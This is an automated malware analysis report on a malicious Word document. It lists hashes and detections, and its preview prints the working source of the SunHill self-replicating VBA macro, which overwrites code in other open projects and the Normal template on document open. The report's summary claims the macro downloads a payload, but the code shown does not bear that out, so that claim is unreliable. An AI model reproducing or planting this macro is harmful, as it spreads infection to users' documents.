Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f8f17b00c9903dc4…

MALICIOUS

Office (OLE)

32.0 KB Created: 1997-07-07 09:37:00 Authoring application: Microsoft Word 9.0 First seen: 2012-06-14
MD5: 7d321adb6fe80d56242aa95fe8c86038 SHA-1: 9000be0cf288ed7439c35ad907037e708c147900 SHA-256: f8f17b00c9903dc49cac2f6280c76355717accf709975149ae292417c7113966
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a Microsoft Word document containing a VBA macro that is triggered by the Document_Open event. The macro is identified as 'Doc.Trojan.Sun-1' by ClamAV, and an extracted artifact is also flagged as 'Win.Trojan.C-286'. The VBA code appears to be designed to download and execute a secondary payload, a common technique for malware delivery.

Heuristics 3

  • ClamAV: Doc.Trojan.Sun-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Sun-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 7193 bytes
SHA-256: 45b08475a3af56ba362a62878a95c623f7b448acb63e88d5e814ce57487067e6
Detection
ClamAV: Win.Trojan.C-286
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
                                                                                                            ' SunHill 1.2  By Alexey.BAS
                                                                                                            Sub Document_Open()
                                                                                                            Dim MyCode As String, NewLine As String, Proj, MacroIn, Comp
                                                                                                            On Error Resume Next
                                                                                                            If MacroContainer = "Normal.dot" Then
                                                                                                                Set MacroIn = NormalTemplate.VBProject
                                                                                                                NewLine = "                                                                                                            Sub Document_Open()"
                                                                                                            Else
                                                                                                                Set MacroIn = ActiveDocument.VBProject
                                                                                                                NewLine = "                                                                                                            Sub Document_Close()"
                                                                                                            End If
                                                                                                            For Each Proj In VBE.VBProjects
                                                                                                                With MacroIn.VBComponents(1).CodeModule
                                                                                                                    If Proj.Name <> .Name And _
                                                                                                                        Proj.VBComponents(1).CodeModule.Lines(1, 100) <> _
                                                                                                                           .Lines(1, 100) Then
                                                                                                                        MyCode = .Lines(1, .CountOfLines - 1)
                                                                                                                        With Proj.VBComponents(1).CodeModule
                                                                                                                            .DeleteLines 1, .CountOfLines
                                                                                                                            .InsertLines 1, MyCode
                                                                                                                            .ReplaceLine 2, NewLine
                                                                                                                        End With
                                                                                                                    End If
                                                                                                                End With
                                                                                                            Next Proj
                                     
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.